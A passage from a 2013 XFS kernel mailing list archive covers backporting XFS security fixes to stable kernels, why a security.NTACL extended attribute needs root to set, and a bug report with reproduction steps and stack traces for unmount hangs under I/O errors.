1386633327-04cb6c537d6593a0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id bTPbFOvqDH6QoHDZ for ; Mon, 09 Dec 2013 15:55:27 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkMSAFpXplJ5LHyk/2dsb2JhbABZgwc4pGUDjzGFUIEpF3SCJQEBBTocIxAIAw4KCSUPBSUDIROIAQ7AZBcWjnoHhDMDmBOBMZBjgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 10 Dec 2013 10:25:26 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqAfb-00024g-CE; Tue, 10 Dec 2013 10:55:23 +1100 Date: Tue, 10 Dec 2013 10:55:23 +1100 From: Dave Chinner To: Josh Boyer Cc: Luis Henriques , Kees Cook , Dwight Engen , LKML , Brian Foster , Dave Chinner , Gao feng , Ben Myers , Greg KH , xfs@oss.sgi.com, stable@vger.kernel.org Subject: Re: XFS security fix never sent to -stable? Message-ID: <20131209235523.GW31386@dastard> X-ASG-Orig-Subj: Re: XFS security fix never sent to -stable? References: <20131209121534.GE4278@hercules> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386633327 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142972 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- [cc xfs list, cc stable@vger.kernel.org] On Mon, Dec 09, 2013 at 08:17:09AM -0500, Josh Boyer wrote: > On Mon, Dec 9, 2013 at 7:15 AM, Luis Henriques > wrote: > > On Thu, Dec 05, 2013 at 04:35:50PM -0800, Kees Cook wrote: > >> Hi, > >> > >> It looks like 8c567a7fab6e086a0284eee2db82348521e7120c ("xfs: add > >> capability check to free eofblocks ioctl") is a security fix that was > >> never sent to -stable? From what I can see, it was introduced in 3.8 > >> by 8ca149de80478441352a8622ea15fae7de703ced ("xfs: add > >> XFS_IOC_FREE_EOFBLOCKS ioctl"). > >> > >> I don't see this in the 3.8.y tree. Should it be added there and newer? > > > > Thanks Kees, I'm queuing it for the 3.11 kernel. > > There's also this one: > > http://thread.gmane.org/gmane.comp.file-systems.xfs.general/57654 > > It fixes CVE-2013-6382 First I've heard about it there being a CVE for that bug. Since when has it been considered best practice to publish CVEs without first (or ever) directly contacting the relevant upstream developers? But, regardless of how broken I think the CVE process is, commit 071c529 ("xfs: underflow bug in xfs_attrlist_by_handle()") should be picked up by the stable kernels. Cheers, Dave. -- Dave Chinner david@fromorbit.com From xfs@tlinx.org Mon Dec 9 18:05:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 11F557FAB for ; Mon, 9 Dec 2013 18:05:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 89B7BAC001 for ; Mon, 9 Dec 2013 16:05:45 -0800 (PST) X-ASG-Debug-ID: 1386633943-04cb6c537c659ad0001-NocioJ Received: from Ishtar.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id umWk2yawhNX4z6Mz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 09 Dec 2013 16:05:44 -0800 (PST) X-Barracuda-Envelope-From: xfs@tlinx.org X-Barracuda-Apparent-Source-IP: 173.164.175.65 Received: from [192.168.4.12] (Athenae [192.168.4.12]) by Ishtar.tlinx.org (8.14.7/8.14.4/SuSE Linux 0.8) with ESMTP id rBA05elY078038 for ; Mon, 9 Dec 2013 16:05:42 -0800 Message-ID: <52A65AD5.9070705@tlinx.org> Date: Mon, 09 Dec 2013 16:05:41 -0800 From: Linda Walsh User-Agent: Thunderbird MIME-Version: 1.0 To: xfs-oss Subject: where/how is 'xattr' type=security enforced? (security attr stripped?) Content-Type: text/plain; charset=UTF-8; format=flowed X-ASG-Orig-Subj: where/how is 'xattr' type=security enforced? (security attr stripped?) Content-Transfer-Encoding: 8bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1386633943 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142972 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- I got a weird message that I've never seen before -- nothing life shattering, just a curiosity that I thought shouldn't happen. I stored a file in my /home partition FROM a Win7 client via samba 3.6.16. With that file were also stored xattrs: DOSATTRIB, SAMBA_PAI and NTACL. Since linux is the 'server', These are all likely set via samba. To work on the file more, I wanted to move it to /tmp. I use mv: > mv /home/law/tmp/oVars.pm /tmp mv: setting attribute ‘security.NTACL’ for ‘security.NTACL’: Operation not permitted "I" was the owner of the file (same UID is resolved for NT-user & local user) and local user is in group that file was stored under. I am trying to figure out where this message came from, as 'mv' doesn't do any access enforcement based on the 'xattr' name field. The impact of this is I can't move the file without losing security which is automatically stripped. Trying to *copy* the file within the same directory also results in the security xattr being stripped -- but ***silently***. So what was responsible for prohibiting the moving the the xfs 'xattr'? My thoughts on this are that if I, as a user can write such a file (to my home dir in this case) and the attributes are created (indirectly) by "me" when I create the file, I should also be able to move the file **intact** with the NTACL maintained. In both cases, the file system types are the same (xfs). The creator and the mover are the same UID. Both file systems can be accessed via my Win7 Client. So anyone know why this fails or why it is silently stripped on a "cp"? Thanks...(maybe a kernel bug?) From stan@hardwarefreak.com Mon Dec 9 21:39:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 48C657FAF for ; Mon, 9 Dec 2013 21:39:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 38F768F804B for ; Mon, 9 Dec 2013 19:39:50 -0800 (PST) X-ASG-Debug-ID: 1386646789-04cbb0416766af50001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id IYd6RYAyteUdBeZy for ; Mon, 09 Dec 2013 19:39:49 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id CD0196C15E; Mon, 9 Dec 2013 21:39:48 -0600 (CST) Message-ID: <52A68D08.8020505@hardwarefreak.com> Date: Mon, 09 Dec 2013 21:39:52 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Emmanuel Florac , Dave Chinner CC: Mike Dacre , "xfs@oss.sgi.com" Subject: Re: Sudden File System Corruption References: <52A191BA.20800@hardwarefreak.com> <52A302A9.9050509@hardwarefreak.com> <52A401FF.9050506@hardwarefreak.com> <20131208160339.5c45ab91@galadriel.home> <52A5159F.2060309@hardwarefreak.com> <20131209014002.GP31386@dastard> <52A61F3A.7040504@hardwarefreak.com> <20131209222131.GX10988@dastard> <20131209233028.27ee7154@galadriel.home> X-ASG-Orig-Subj: Re: Sudden File System Corruption In-Reply-To: <20131209233028.27ee7154@galadriel.home> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1386646789 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/9/2013 4:30 PM, Emmanuel Florac wrote: > Le Tue, 10 Dec 2013 09:21:31 +1100 vous criviez: > Dave Chinner wrote: >> >> So, while the tech might be great, the benchmarks sucked at >> demonstrating that. It's pretty difficult to find comprehensive benchmark results, especially for niche products such as CacheCade. > And now that we have enhance-io, bcache and friends, I'm actually more > confident of using these than some sort of hidden pseudo-hardware magic. Enhance-IO is $295 per Linux server per year. Last I saw, Cleancache isn't fully supported by XFS yet in a stable vanilla release. AFAIK bcache isn't fully baked yet. Coupled with the fact that Mike seems to be limited to the CentOS ecosystem, I figured CacheCade was his best option at this time. It's been around a couple of years, works, verified decent performance, and no additional kernel software is required. And it's relatively easy to configure. -- Stan From david@fromorbit.com Mon Dec 9 23:52:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EC3447FB1 for ; Mon, 9 Dec 2013 23:52:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 96B0DAC002 for ; Mon, 9 Dec 2013 21:52:21 -0800 (PST) X-ASG-Debug-ID: 1386654736-04bdf01322171840001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id xENZajzEOH8KJNdb for ; Mon, 09 Dec 2013 21:52:16 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al0IAMuqplJ5LHyk/2dsb2JhbABZgweDNlSwRoVQgR8XdIIlAQEFIw8BIyMQCAMOCgICBSECAg8FJQMhExmHaLEcj08XFoETjVwHgms1gRMDmBOSFIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 10 Dec 2013 16:22:15 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqGEv-0002kg-6C; Tue, 10 Dec 2013 16:52:13 +1100 Date: Tue, 10 Dec 2013 16:52:13 +1100 From: Dave Chinner To: Linda Walsh Cc: xfs-oss Subject: Re: where/how is 'xattr' type=security enforced? (security attr stripped?) Message-ID: <20131210055213.GD31386@dastard> X-ASG-Orig-Subj: Re: where/how is 'xattr' type=security enforced? (security attr stripped?) References: <52A65AD5.9070705@tlinx.org> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <52A65AD5.9070705@tlinx.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386654736 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142979 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 09, 2013 at 04:05:41PM -0800, Linda Walsh wrote: > I got a weird message that I've never seen before -- nothing > life shattering, just a curiosity that I thought shouldn't happen. > > > I stored a file in my /home partition FROM a Win7 client > via samba 3.6.16. > > With that file were also stored xattrs: > > DOSATTRIB, SAMBA_PAI and NTACL. Since linux is the 'server', > These are all likely set via samba. > > To work on the file more, I wanted to move it > to /tmp. > > I use mv: > >mv /home/law/tmp/oVars.pm /tmp > mv: setting attribute ‘security.NTACL’ for ‘security.NTACL’: Operation not permitted You need root permissions to set security namespace attributes. $setfattr -n security.NTACL -v foobarchucky /mnt/test/foo setfattr: /mnt/test/foo: Operation not permitted $ sudo setfattr -n security.NTACL -v foobarchucky /mnt/test/foo $ getfattr -n security.NTACL /mnt/test/foo getfattr: Removing leading '/' from absolute path names # file: mnt/test/foo security.NTACL="foobarchucky" $ [ On a side note, there's some sooper seekrit voodoo there in getfattr. I feel that my systems are so much more secure knowing that getfattr is protecting me from \something/ so dangerous it can't possibly be worked around with sed or --absolute-names. ] Cheers, Dave. -- Dave Chinner david@fromorbit.com From alex@zadarastorage.com Tue Dec 10 01:36:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.9 required=5.0 tests=STOX_REPLY_TYPE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A855F7FA7 for ; Tue, 10 Dec 2013 01:36:29 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 884498F8033 for ; Mon, 9 Dec 2013 23:36:26 -0800 (PST) X-ASG-Debug-ID: 1386660983-04cb6c537e669610001-NocioJ Received: from mail-ea0-f172.google.com (mail-ea0-f172.google.com [209.85.215.172]) by cuda.sgi.com with ESMTP id 9d5EXX8mJN0dbX31 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 09 Dec 2013 23:36:23 -0800 (PST) X-Barracuda-Envelope-From: alex@zadarastorage.com X-Barracuda-Apparent-Source-IP: 209.85.215.172 Received: by mail-ea0-f172.google.com with SMTP id q10so2015561ead.3 for ; Mon, 09 Dec 2013 23:36:22 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:message-id:from:to:cc:references:in-reply-to :subject:date:mime-version:content-type:content-transfer-encoding :importance; bh=qPsk4F2omcWiesC8F6zNOK3kSvDF5lyslRkKkr8Di08=; b=Ms9T837cNIG9Jy807ZosRV92+9RlWp8XeYdsZjkWDU4D0g6cN9Z4tsXkcKG8twxXrQ pHJuePPMrbmlJEJ9x2GpX44Q/tCqLFD0ka/IgGVgT73XvjRb/E85BssuJyS+nXCfVSYu 5ogl0lvm7bK9JE6OZLW0MoITMIqZXr/fOWYIJW5yPMe2buDcQtb7OtBxBB3zrufniINQ nJzMRd+yHalV9AzVMQKVPejRhWejQW4CqkVy4bm2tzf08qasKnT2iuCSXPtIIrA3PHYT rkJ7zZpBfyKZ/5VqlfYx9qW+l5zVPmpF1/8qSi+e/4KaHxuHyKHEVUn9W51CXxGxg5CK fhWQ== X-Gm-Message-State: ALoCoQnSXXYxak8+Ds/DRrnnxZINO2SxOJJC2WPbsNzF7gnB3CHE2Z6mXg3c0kc+QiKrTSzIjap9 X-Received: by 10.15.75.68 with SMTP id k44mr35147607eey.57.1386660982830; Mon, 09 Dec 2013 23:36:22 -0800 (PST) Received: from alyakaslap ([212.143.144.103]) by mx.google.com with ESMTPSA id n1sm37855136eep.20.2013.12.09.23.36.21 for (version=TLSv1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Mon, 09 Dec 2013 23:36:22 -0800 (PST) Message-ID: <1E31497CEB304DB68E5EFCF4814F9A27@alyakaslap> From: "Alex Lyakas" To: "Dave Chinner" , Cc: References: <20131121220713.GB6502@dastard> In-Reply-To: Subject: Re: XFS umount with IO errors seems to lead to memory corruption Date: Tue, 10 Dec 2013 09:36:11 +0200 X-ASG-Orig-Subj: Re: XFS umount with IO errors seems to lead to memory corruption MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="UTF-8"; reply-type=original Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal Importance: Normal X-Mailer: Microsoft Windows Live Mail 15.4.3555.308 X-MimeOLE: Produced By Microsoft MimeOLE V15.4.3555.308 X-Barracuda-Connect: mail-ea0-f172.google.com[209.85.215.172] X-Barracuda-Start-Time: 1386660983 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, STOX_REPLY_TYPE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142980 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 STOX_REPLY_TYPE STOX_REPLY_TYPE 0.10 BSF_SC0_SA085 Custom Rule SA085 Hi Dave, any insight on this issue? At least on the simpler reproduction with "error" DeviceMapper? Thanks, Alex. -----Original Message----- From: Alex Lyakas Sent: 24 November, 2013 12:27 PM To: Dave Chinner ; xfs@oss.sgi.com Cc: linux-xfs@vger.kernel.org Subject: Re: XFS umount with IO errors seems to lead to memory corruption Hi Dave, thank you for your comments. The test that I am doing is unmounting the XFS, while its underlying block device returns intermittent IO errors. The block device in question is a custom DeviceMapper target. It returns -ECANCELED in this case. Should I return some other errno instead? The same exact test works alright with ext4. It's unmount finishes, system seems to continue functioning normally and kmemleak is also happy. When doing a simpler reproductoin with "error" Device-Mapper, umount gets stuck and never returns, while kernel keeps printing: XFS (dm-0): metadata I/O error: block 0x0 ("xfs_buf_iodone_callbacks") error 5 numblks 1 XFS (dm-0): metadata I/O error: block 0x0 ("xfs_buf_iodone_callbacks") error 5 numblks 1 XFS (dm-0): metadata I/O error: block 0x0 ("xfs_buf_iodone_callbacks") error 5 numblks 1 XFS (dm-0): metadata I/O error: block 0x0 ("xfs_buf_iodone_callbacks") error 5 numblks 1 XFS (dm-0): metadata I/O error: block 0x0 ("xfs_buf_iodone_callbacks") error 5 numblks 1 XFS (dm-0): metadata I/O error: block 0x0 ("xfs_buf_iodone_callbacks") error 5 numblks 1 XFS (dm-0): metadata I/O error: block 0x0 ("xfs_buf_iodone_callbacks") error 5 numblks 1 ... What is the expected behavior of umount in this case? (when there are IO errors during it). This reproduction that I do is: root@vc-00-00-1075-dev:~# cat /etc/xfs.protofile dummy : bootfilename, not used, backward compatibility 0 0 : numbers of blocks and inodes, not used, backward compatibility d--777 0 0 : set 777 perms for the root dir $ $ root@vc-00-00-1075-dev:~# mkfs.xfs -f /dev/vde -p /etc/xfs.protofile meta-data=/dev/vde isize=256 agcount=4, agsize=1310720 blks = sectsz=512 attr=2, projid32bit=0 data = bsize=4096 blocks=5242880, imaxpct=25 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 log =internal log bsize=4096 blocks=2560, version=2 = sectsz=512 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 root@vc-00-00-1075-dev:~# blockdev --getsz /dev/vde 41943040 root@vc-00-00-1075-dev:~# dmsetup create VDE --table "0 41943040 linear /dev/vde 0" root@vc-00-00-1075-dev:~# mount -o noatime,sync /dev/mapper/VDE /export/v122_nas/ copy some files to the mountpoint, then: dmsetup reload VDE --table "0 41943040 error" dmsetup resume VDE umount /export/v122_nas this never returns and /proc shows: root@vc-00-00-1075-dev:~# cat /proc/2684/stack [] xfs_ail_push_all_sync+0x9a/0xd0 [xfs] [] xfs_unmountfs+0x63/0x160 [xfs] [] xfs_fs_put_super+0x25/0x60 [xfs] [] generic_shutdown_super+0x62/0xf0 [] kill_block_super+0x30/0x80 [] deactivate_locked_super+0x3c/0x90 [] deactivate_super+0x4e/0x70 [] mntput_no_expire+0x106/0x160 [] sys_umount+0xa0/0xe0 [] system_call_fastpath+0x16/0x1b [] 0xffffffffffffffff And after some time, hung task warning shows: INFO: task kworker/2:1:39 blocked for more than 120 seconds. "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. kworker/2:1 D ffffffff8180cf00 0 39 2 0x00000000 ffff88007c54db38 0000000000000046 000000027d003700 ffff88007fd03fc0 ffff88007c54dfd8 ffff88007c54dfd8 ffff88007c54dfd8 0000000000013e40 ffff88007c9e9710 ffff88007c4bdc40 00000000000000b8 7fffffffffffffff Call Trace: [] schedule+0x29/0x70 [] schedule_timeout+0x1e5/0x250 [] ? kmem_zone_alloc+0x67/0xe0 [xfs] [] ? kmemleak_alloc+0x26/0x50 [] __down_common+0xa0/0xf0 [] ? xfs_getsb+0x3c/0x70 [xfs] [] __down+0x1d/0x1f [] down+0x41/0x50 [] xfs_buf_lock+0x44/0x110 [xfs] [] xfs_getsb+0x3c/0x70 [xfs] [] xfs_trans_getsb+0x4c/0x140 [xfs] [] xfs_mod_sb+0x4e/0xc0 [xfs] [] xfs_fs_log_dummy+0x54/0x90 [xfs] [] xfs_log_worker+0x48/0x50 [xfs] [] process_one_work+0x141/0x4a0 [] worker_thread+0x168/0x410 [] ? manage_workers+0x120/0x120 [] kthread+0xc0/0xd0 [] ? acpi_get_child+0x47/0x4d [] ? acpi_platform_notify.part.0+0xbb/0xda [] ? flush_kthread_worker+0xb0/0xb0 [] ret_from_fork+0x7c/0xb0 [] ? flush_kthread_worker+0xb0/0xb0 [3] contains some of information that wiki asks for, right before doing the unmount in the original test. I have also re-ran the original test with slub_debug=FZ, but it did not show up any warnings (perhaps I am missing something on how to enable the red-zone debugging). Thanks, Alex. [3] root@vc-00-00-1075-dev:/mnt/work/alex# uname -a Linux vc-00-00-1075-dev 3.8.13-557-generic #1382000791 SMP Thu Oct 17 11:22:20 IST 2013 x86_64 x86_64 x86_64 GNU/Linux this is a manually-compiled 3.8.13 kernel, in which: CONFIG_HAVE_DEBUG_KMEMLEAK=y CONFIG_DEBUG_KMEMLEAK=y but no code changes. root@vc-00-00-1075-dev:/mnt/work/alex# xfs_repair -V xfs_repair version 3.1.7 number of CPUs: 4 root@vc-00-00-1075-dev:/mnt/work/alex# cat /proc/meminfo MemTotal: 2050940 kB MemFree: 996376 kB Buffers: 32836 kB Cached: 389208 kB SwapCached: 0 kB Active: 490232 kB Inactive: 239988 kB Active(anon): 311336 kB Inactive(anon): 1336 kB Active(file): 178896 kB Inactive(file): 238652 kB Unevictable: 4632 kB Mlocked: 4632 kB SwapTotal: 522236 kB SwapFree: 522236 kB Dirty: 96 kB Writeback: 0 kB AnonPages: 312920 kB Mapped: 46656 kB Shmem: 1456 kB Slab: 224640 kB SReclaimable: 30040 kB SUnreclaim: 194600 kB KernelStack: 3632 kB PageTables: 14584 kB NFS_Unstable: 0 kB Bounce: 0 kB WritebackTmp: 0 kB CommitLimit: 1547704 kB Committed_AS: 1667900 kB VmallocTotal: 34359738367 kB VmallocUsed: 30860 kB VmallocChunk: 34359648832 kB HardwareCorrupted: 0 kB AnonHugePages: 0 kB HugePages_Total: 0 HugePages_Free: 0 HugePages_Rsvd: 0 HugePages_Surp: 0 Hugepagesize: 2048 kB DirectMap4k: 153588 kB DirectMap2M: 1943552 kB root@vc-00-00-1075-dev:/mnt/work/alex# cat /proc/mounts rootfs / rootfs rw 0 0 sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0 proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0 udev /dev devtmpfs rw,relatime,size=1016840k,nr_inodes=254210,mode=755 0 0 devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0 tmpfs /run tmpfs rw,nosuid,relatime,size=410188k,mode=755 0 0 /dev/disk/by-uuid/c2a6ff28-cf03-4785-9ac8-60dd4ed7d3af / ext4 rw,relatime,errors=remount-ro,data=ordered 0 0 none /sys/fs/fuse/connections fusectl rw,relatime 0 0 none /sys/kernel/debug debugfs rw,relatime 0 0 none /sys/kernel/security securityfs rw,relatime 0 0 none /run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=10256k 0 0 none /run/shm tmpfs rw,nosuid,nodev,relatime 0 0 rpc_pipefs /run/rpc_pipefs rpc_pipefs rw,relatime 0 0 172.16.0.12:/export2/work /mnt/work nfs4 rw,relatime,vers=4.0,rsize=1048576,wsize=1048576,namlen=255,hard,proto=tcp,port=0,timeo=600,retrans=2,sec=sys,clientaddr=172.16.0.35,local_lock=none,addr=172.16.0.12 0 0 172.16.0.12:/export2/share /mnt/share nfs4 rw,relatime,vers=4.0,rsize=1048576,wsize=1048576,namlen=255,hard,proto=tcp,port=0,timeo=600,retrans=2,sec=sys,clientaddr=172.16.0.35,local_lock=none,addr=172.16.0.12 0 0 nfsd /proc/fs/nfsd nfsd rw,relatime 0 0 cgroup_root /sys/fs/cgroup tmpfs rw,relatime 0 0 blkio /sys/fs/cgroup/blkio cgroup rw,relatime,perf_event,blkio,freezer,devices,cpuacct,cpu,cpuset 0 0 /dev/mapper/vpart-1 /mnt/bootdir ext4 rw,relatime,(null),debug,data=ordered 0 0 /dev/dm-20 /btrfs/pool-00000007 btrfs rw,noatime,nodatasum,nodatacow,notreelog,nospace_cache,clear_cache 0 0 /dev/dm-22 /export/v122_nas xfs rw,sync,noatime,wsync,attr2,inode64,noquota 0 0 root@vc-00-00-1075-dev:/mnt/work/alex# cat /proc/partitions major minor #blocks name 254 0 52428800 vda 254 16 52428800 vdb 254 32 20971520 vdc 254 48 20971520 vdd 254 64 20971520 vde 254 80 512000 vdf 254 96 512000 vdg 254 112 512000 vdh 254 128 512000 vdi 254 144 512000 vdj 254 160 1048576 vdk 254 176 1048576 vdl 254 192 312320 vdm 254 208 312320 vdn 8 0 5242880 sda 8 1 4717568 sda1 8 2 1 sda2 8 5 522240 sda5 11 0 1048575 sr0 253 0 140737488355327 dm-0 253 1 512000 dm-1 253 2 512000 dm-2 253 3 512000 dm-3 9 1 511988 md1 253 4 511988 dm-4 253 5 1048576 dm-5 253 7 312320 dm-7 253 6 20971520 dm-6 253 8 52428800 dm-8 253 9 20971520 dm-9 253 10 1048576 dm-10 253 11 312320 dm-11 253 12 52428800 dm-12 9 5 18872320 md5 9 2 1048564 md2 9 3 312308 md3 9 4 50329600 md4 253 13 18872320 dm-13 253 14 312308 dm-14 253 15 1048564 dm-15 253 16 50329600 dm-16 253 17 49283072 dm-17 253 18 49283072 dm-18 253 19 49283072 dm-19 253 20 49283072 dm-20 253 21 127926272 dm-21 253 22 127926272 dm-22 root@vc-00-00-1075-dev:/mnt/work/alex# xfs_info /export/v122_nas/ meta-data=/dev/dm-22 isize=256 agcount=4, agsize=7995392 blks = sectsz=512 attr=2 data = bsize=4096 blocks=31981568, imaxpct=25 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 log =internal bsize=4096 blocks=15616, version=2 = sectsz=512 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 On Fri, Nov 22, 2013 at 12:07 AM, Dave Chinner wrote: > [cc'd the correct xfs list. PLease use xfs@oss.sgi.com in future.] > > On Thu, Nov 21, 2013 at 08:04:36PM +0200, Alex Lyakas wrote: >> Greetings, >> I am using stock XFS from kernel 3.8.13, compiled with kmemleak >> enabled. I am testing a particular scenario, in which the underlying >> block device returns IO errors during XFS umount. Almost in all cases >> this results in kernel crashes in various places, and sometimes >> kmemleak complains, and sometimes CPU soft lockup happens. It always >> happens after XFS messages like: > > What testing are you doing? > > http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F > >> kernel: [ 600.190509] XFS (dm-22): metadata I/O error: block >> 0x7600030 ("xlog_iodone") error 125 numblks 64 >> kernel: [ 600.192267] XFS (dm-22): xfs_do_force_shutdown(0x2) called >> from line 1115 of file >> /mnt/compile/linux-stable/source/fs/xfs/xfs_log.c. Return address = >> 0xffffffffa05cffa1 >> kernel: [ 600.192319] XFS (dm-22): Log I/O Error Detected. Shutting >> down filesystem >> kernel: [ 600.192392] XFS (dm-22): Unable to update superblock >> counters. Freespace may not be correct on next mount. >> kernel: [ 600.192398] XFS (dm-22): xfs_log_force: error 5 returned. >> kernel: [ 600.193687] XFS (声.Z): Please umount the 